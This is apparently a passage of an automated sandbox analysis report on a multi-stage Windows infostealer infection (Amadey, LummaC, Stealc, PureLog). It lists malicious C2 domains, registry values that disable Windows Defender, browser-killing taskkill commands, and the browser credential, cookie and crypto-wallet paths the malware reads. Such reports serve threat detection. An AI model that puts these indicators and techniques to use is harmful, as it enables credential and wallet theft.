Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 140460b5fe.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 140460b5fe.exe PID: 2844, type: MEMORYSTR

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe

Memory written: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lossekniyyt.click
Source: b1c5a9309d.exe, 0000000A.00000003.2554882954.0000000005190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe "C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe "C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe "C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe "C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe "C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe "C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Process created: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe "C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe	Process created: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe "C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe"

Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: 140460b5fe.exe, 0000000B.00000002.2996778087.0000000000E67000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: 1HIProgram Manager
Source: 7a7de3f1d8.exe, 0000000D.00000002.2818892727.0000000000B42000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: firefox.exe, 0000001C.00000002.2998009058.0000000C324FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: b1c5a9309d.exe, 0000000A.00000002.2611384728.000000000077A000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: tProgram Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: VdIProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00B8DD91 cpuid

6_2_00B8DD91

Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0064CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0064CBEA

Source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe

Registry value created: TamperProtection 0

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 1.2.skotes.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.630000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.2317025706.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1749880322.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1706351975.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1739885590.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 7a7de3f1d8.exe PID: 8128, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: b1c5a9309d.exe PID: 7932, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b1c5a9309d.exe PID: 5828, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 7.0.6f93831ea2.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6f93831ea2.exe.46594e0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6f93831ea2.exe.46594e0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.6f93831ea2.exe.4613198.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 00000021.00000002.2984159322.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.2663325624.00000000050F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2859507877.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2986000648.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 140460b5fe.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 140460b5fe.exe PID: 2844, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected zgRAT

Source: Yara match

File source: 7.2.6f93831ea2.exe.4613198.1.raw.unpack, type: UNPACKEDPE

Found many strings related to Crypto-Wallets (likely being stolen)

Source: b1c5a9309d.exe, 0000000C.00000003.2776055082.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: b1c5a9309d.exe, 0000000C.00000003.2776055082.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 140460b5fe.exe, 0000000B.00000002.2986000648.0000000000BB7000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: Jaxx Liberty
Source: b1c5a9309d.exe, 0000000C.00000003.2821757656.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\com.liberty.jaxx\\IndexedDB","m":["*"],"z":"Wallets/JAXX New Version","d":2,"fs":20971520},{"t"K
Source: b1c5a9309d.exe, 0000000C.00000003.2776055082.000000000163D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: b1c5a9309d.exe, 0000000C.00000003.2821757656.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: b1c5a9309d.exe, 0000000C.00000002.2952562572.000000000162F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: b1c5a9309d.exe, 0000000C.00000003.2803095307.0000000001693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 6f93831ea2.exe, 00000007.00000002.2471388989.00000000035F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: cryptoKeyStore2dnoa.return_to_sig_handle$dnoa.return_to_sigXThe return_to signature failed verification.

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
